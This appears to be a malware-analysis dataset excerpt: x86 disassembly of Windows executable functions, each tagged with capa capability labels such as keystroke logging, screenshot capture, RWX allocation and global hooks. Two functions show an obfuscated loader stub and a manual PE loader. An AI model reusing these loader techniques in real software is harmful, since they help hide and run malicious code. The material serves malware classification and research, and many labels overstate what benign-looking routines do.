joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10002dd3
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x10002de4
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x10002ddf
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x10002dc9
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x10002dd1
cmp edx, ebx
jne 0x10002f1f
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add al, 0x83
inc ebp
or byte [edx], al
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x10002da0
add eax, dword [eax + 4]
jmp 0x10002d8d
mov dword [ebp + 0xc], ebx
jmp 0x10002def
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x10002e07
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x10002e25
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x10002e83
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10002e6a
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x10002e73
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10002e7d
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10002e5f
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10002de9
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x10002ed0
dec eax
je 0x10002ec7
sub eax, 3
je 0x10002ebe
mov dword [ebp - 4], 0x40
jmp 0x10002eed
mov dword [ebp - 4], 4
jmp 0x10002ed3
mov dword [ebp - 4], 0x20
jmp 0x10002ed3
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x10002f1f
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10002e9f
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.10002730
sub eax, 0xff3af336
jne 0x10002f2a
push 1
push esi
call edi
mov eax, esi
jmp 0x10002f2b
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10003ebf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
pushal
call 0x10003ece
pop dword [ebp - 0x1c]
mov eax, 0xd1d61727
add eax, 0x3e2a27a7
sub dword [ebp - 0x1c], eax
mov dword [ebp - 0x2c], 0xbc36393b
sub dword [ebp - 0x2c], 0x6de3f3f0
mov dword [ebp - 0x28], 0x789585f5
add dword [ebp - 0x28], 0xb99dc650
mov dword [ebp - 0x24], 0x361d0a97
sub dword [ebp - 0x24], 0xe9d0c669
mov dword [ebp - 0x20], 0x12cd8962
add dword [ebp - 0x20], 0xed32769e
lea eax, [ebp - 0x2c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x1c]
call dword [eax]
mov dword [ebp - 0x2c], 0xa1b5d75a
sub dword [ebp - 0x2c], 0x2d436e04
mov dword [ebp - 0x28], 0x8a08205e
add dword [ebp - 0x28], 0xb7644117
mov dword [ebp - 0x24], 0xe31125ca
add dword [ebp - 0x24], 0x805e46a2
mov dword [ebp - 0x20], 0x83bfd1b1
sub dword [ebp - 0x20], 0x83bfd1b1
lea ebx, [ebp - 0x2c]
push ebx
push eax
mov eax, 0x1bd9d4ab
add eax, 0xf4267b95
add eax, dword [ebp - 0x1c]
call dword [eax]
push 0x40
push 0x1000
push 0x343a2
push 0
call eax
mov ecx, 0xf7a588f4
add ecx, 0x85ab56c
mov esi, eax
mov edx, 0x749e5635
sub edx, 0x649da035
add edx, dword [ebp - 0x1c]
mov ebx, 0x9be1fa4c
mov dword [ebp - 8], 0xba406dd0
mov edi, dword [edx]
xor dword [ebp - 0x10], 0x86405e40
add edi, ebx
mov dword [esi], edi
mov dword [ebp - 0xc], 0x85699610
add esi, 4
add edx, 0xd26fc8ea
add edx, 0x2d90371a
loop 0x10003fe5
add eax, 0xec53
xor ebx, ebx
add ebx, eax
add eax, 0x7cd95868
add eax, 0x8326a79d
mov ecx, 0xe4c27917
add ecx, 0x2b3d86e9
add ecx, dword [ebp - 0x1c]
call ebx
leave
ret
Function at 0x402b64
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [section.DATA]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402bfc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402bdc
xor eax, eax
push ebp
push 0x402bd5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c18
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402bdc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [section.DATA]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [section.DATA], ax
mov esp, ebp
pop ebp
ret
Function at 0x404ea4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x405060
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x404f05
lea eax, [ebp - 8]
push eax
push 0xf003f
push 0
push 0x40507c
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x404f77
xor eax, eax
push ebp
push 0x404f70
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
call fcn.00404cfc
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x404f59
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x40509c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404f77
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpyA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405058
cmp byte [ebp - 0xd], 0
jne 0x404fb9
cmp byte [ebp - 0x12], 0
je 0x405058
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404fd2
dec ebx
cmp byte [ebx], 0x2e
je 0x404fe1
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x404fd1
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405058
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40500e
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405058
cmp byte [ebp - 0xd], 0
je 0x405058
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405058
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpyA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4086fc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408735
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.00403a5c
jmp 0x40873e
mov eax, ebx
mov edx, esi
call fcn.004039c8
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x408748
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x408769
mov al, byte [esp]
jmp 0x40876b
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x413ba0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x413ba6
ret

Function at 0x41624c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x41629d
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x416284
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x416274
jmp 0x41629d
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x416285
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x420e84
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
cmp dword [0x454778], 0
sete dl
or al, dl
jne 0x420fc4
mov eax, dword [0x45477c]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x454778]
mov esi, dword [eax + 8]
dec esi
test esi, esi
jl 0x420f93
inc esi
xor edi, edi
mov edx, edi
mov eax, dword [0x454778]
call fcn.0040d3d4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x420f8b
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x168], 0
je 0x420f8b
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x4c]
test al, al
je 0x420f8b
mov eax, dword [ebp - 0x14]
call fcn.0042917c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x420f8b
push ebp
call fcn.00420e40
pop ecx
test al, al
jne 0x420f8b
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x90]
cmp eax, dword [ebp - 0x14]
jne 0x420f47
mov eax, dword [ebp - 0x14]
call fcn.00427b08
dec eax
jle 0x420f8b
mov byte [ebp - 1], 1
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov bx, 0xffc1
call fcn.00402ec8
cmp byte [ebp - 1], 0
je 0x420f8b
push dword [ebp - 8]
push dword [ebp - 0xc]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x420f8b
mov edx, dword [ebp - 0x14]
mov eax, dword [0x45477c]
call fcn.0042068c
inc edi
dec esi
jne 0x420eda
mov eax, dword [0x45477c]
cmp dword [eax + 8], 0
jle 0x420fab
mov eax, dword [0x45477c]
call fcn.0042071c
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x420fc4
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00420ca8
pop ecx
test al, al
jne 0x420fc4
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x426b14
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
mov eax, dword [esi]
cmp eax, 0x84
jg 0x426b45
je 0x426b9f
sub eax, 7
je 0x426b66
dec eax
je 0x426b90
sub eax, 0x17
je 0x426c44
jmp 0x426c82
add eax, 0xffffff00
sub eax, 9
jb 0x426c30
add eax, 0xffffff09
sub eax, 0xb
jb 0x426bf8
jmp 0x426c82
mov eax, ebx
call fcn.0043877c
mov edi, eax
test edi, edi
je 0x426ce2
mov edx, ebx
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0xd4]
test al, al
je 0x426ceb
jmp 0x426ce2
test byte [ebx + 0x44], 0x20
jne 0x426ceb
jmp 0x426ce2
mov edx, esi
mov eax, ebx
call fcn.00424114
cmp dword [esi + 0xc], 0xffffffff
jne 0x426ceb
push 0
lea edx, [ebp - 0x120]
mov eax, dword [esi + 8]
call fcn.0040697c
lea edx, [ebp - 0x120]
lea ecx, [ebp - 0x118]
mov eax, ebx
call fcn.00422c60
lea edx, [ebp - 0x118]
xor ecx, ecx
mov eax, ebx
call fcn.004269ec
test eax, eax
je 0x426ceb
mov dword [esi + 0xc], 1
jmp 0x426ceb
mov edx, esi
mov eax, ebx
call fcn.00426a80
test al, al
je 0x426ce2
cmp dword [esi + 0xc], 0
jne 0x426ceb
mov eax, dword [esi + 8]
push eax
mov eax, dword [esi + 4]
push eax
mov eax, dword [esi]
push eax
mov eax, ebx
call fcn.0042917c
push eax
call sub.user32.dll_DefWindowProcA
jmp 0x426ceb
mov eax, ebx
call fcn.004237b0
test al, al
jne 0x426ceb
jmp 0x426ce2
mov eax, ebx
call fcn.0042917c
mov edi, eax
call sub.user32.dll_GetCapture
cmp edi, eax
jne 0x426ce2
cmp dword [0x4536b4], 0
je 0x426ce2
mov eax, dword [0x4536b4]
cmp ebx, dword [eax + 0x24]
jne 0x426ce2
push 0
xor ecx, ecx
mov edx, 0x1f
mov eax, dword [0x4536b4]
call fcn.00424048
jmp 0x426ce2
mov eax, dword [0x454740]
cmp byte [eax + 0x20], 0
je 0x426ce2
mov eax, dword [0x454740]
cmp dword [eax + 0x1c], 0
je 0x426ce2
mov eax, dword [esi]
mov edx, dword [0x454740]
cmp eax, dword [edx + 0x1c]
jne 0x426ce2
lea eax, [ebp - 0x110]
push eax
call sub.user32.dll_GetKeyboardState
mov eax, dword [esi]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x110]
call fcn.004386c0
mov byte [ebp - 0xc], al
mov ax, word [esi + 4]
mov word [ebp - 0xa], ax
mov eax, dword [esi + 8]
mov dword [ebp - 8], eax
lea edx, [ebp - 0x10]
mov eax, ebx
mov bx, 0xffb7
call fcn.00402ec8
jmp 0x426ceb
mov edx, esi
mov eax, ebx
call fcn.00424114
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4271ac
Capabilities:
Capture screenshot

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff94
push ebx
push esi
push edi
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0x1e8], 0
je 0x4271c8
cmp dword [esi + 4], 0
je 0x4271f5
test byte [ebx + 0x45], 1
jne 0x4271e7
mov eax, ebx
call fcn.004260e4
test eax, eax
jne 0x4271e7
mov edx, esi
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx - 0x10]
jmp 0x427305
mov edx, esi
mov eax, ebx
call fcn.00426e24
jmp 0x427305
push 0
call sub.user32.dll_GetDC
mov edi, eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push edi
call sub.gdi32.dll_CreateCompatibleBitmap
mov dword [ebp - 8], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
push 0
call sub.gdi32.dll_CreateCompatibleDC
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4272fe
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042917c
push eax
call sub.user32.dll_BeginPaint
mov edi, eax
mov eax, dword [ebp - 4]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x14
mov eax, ebx
call fcn.00424048
mov eax, dword [ebp - 4]
mov dword [esi + 4], eax
mov edx, esi
mov eax, ebx
call fcn.004271ac
xor eax, eax
mov dword [esi + 4], eax
push 0xcc0020
push 0
push 0
mov eax, dword [ebp - 4]
push eax
lea edx, [ebp - 0x5c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x50]
push eax
lea edx, [ebp - 0x6c]
mov eax, ebx
mov ecx, dword [eax]
call dword [ecx + 0x40]
mov eax, dword [ebp - 0x64]
push eax
push 0
push 0
push edi
call sub.gdi32.dll_BitBlt
lea eax, [ebp - 0x4c]
push eax
mov eax, ebx
call fcn.0042917c
push eax
call sub.user32.dll_EndPaint
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x427305
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_SelectObject
mov eax, dword [ebp - 4]
push eax
call sub.gdi32.dll_DeleteDC
mov eax, dword [ebp - 8]
push eax
call sub.gdi32.dll_DeleteObject
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x430aa0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.00403974
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x430aef
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.00403ba4
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x438498
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4547d8
cmp dword [edi], 0
jne 0x438514
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4547d4]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x453848
mov ecx, 2
call fcn.004027d0
mov edx, 0x438470
lea eax, [esi + 5]
call fcn.00438490
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00438490
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x4384e9
mov dword [0x4547d4], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x438630
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x438680]
test si, 4
je 0x438644
or bl, 1
test si, 8
je 0x43864e
or bl, 4
test si, 1
je 0x438658
or bl, 8
test si, 2
je 0x438662
or bl, 0x10
test si, 0x10
je 0x43866c
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43867b
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x438684
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x4386bc]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x43869d
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x4386ac
or bl, 4
test esi, 0x20000000
je 0x4386b7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x43e864
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x43e876
add esp, 0xfffffff0
call fcn.00402fec
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00411c00
mov eax, ebx
call fcn.0043ebb0
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x30], eax
mov dl, 1
mov eax, dword [0x40bd10]
call fcn.00402cbc
mov dword [ebx + 0x40], eax
mov dl, 1
mov eax, dword [0x40bd10]
call fcn.00402cbc
mov dword [ebx + 0x44], eax
mov dl, 1
mov eax, dword [0x40bd10]
call fcn.00402cbc
mov dword [ebx + 0x48], eax
mov dl, 1
mov eax, dword [0x40bd10]
call fcn.00402cbc
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x40bd10]
call fcn.00402cbc
mov dword [ebx + 0x70], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x34], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x4c]
push eax
mov eax, 0x43e834
push eax
push 0
push 0
mov eax, dword [0x453bfc]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x4130c8]
call fcn.00414600
mov dword [ebx + 0x78], eax
mov dl, 1
mov eax, dword [0x4130c8]
call fcn.00414600
mov dword [ebx + 0x7c], eax
mov dl, 1
mov eax, dword [0x4130c8]
call fcn.00414600
mov dword [ebx + 0x74], eax
mov eax, ebx
call fcn.0043f020
mov eax, dword [ebx + 0x78]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x43eef4
mov eax, dword [ebx + 0x7c]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x43eef4
mov eax, dword [ebx + 0x74]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x43eef4
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x43e985
call fcn.00403044
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x43ecd8
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x43ee83
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x28], 0
jne 0x43ee64
mov dl, 1
mov eax, dword [0x40c010]
call fcn.00402cbc
mov edx, dword [ebp - 4]
mov dword [edx + 0x28], eax
mov eax, dword [ebp - 4]
add eax, 0x2c
call fcn.00403974
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x43ee53
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.0042d6c0
test al, al
je 0x43ee46
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x43ee94
lea eax, [ebp - 0x254]
call fcn.0040856c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x43ee46
xor eax, eax
push ebp
push 0x43ee3f
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x43eecc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x43ee28
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403ba4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov ebx, dword [eax]
call dword [ebx + 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x30]
jne 0x43ee28
mov eax, dword [ebp - 4]
add eax, 0x2c
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.00403ba4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ee46
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x43ed49
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x28]
mov byte [eax + 0x19], 0
mov dl, 1
call fcn.0040ec94
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x28]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ee8a
lea eax, [ebp - 0x260]
call fcn.00403974
ret

Function at 0x43f718
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4547c8]
cmp byte [eax + 0x95], 0
jne 0x43f789
cmp dword [0x4547e4], 0
jne 0x43f74a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x43f6d4
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4547e4], eax
cmp dword [0x4547e0], 0
jne 0x43f765
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x4547e0], eax
cmp dword [0x4547e8], 0
jne 0x43f789
push esp
push 0
push 0
push 0x43f678
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread
mov dword [0x4547e8], eax
pop edx
ret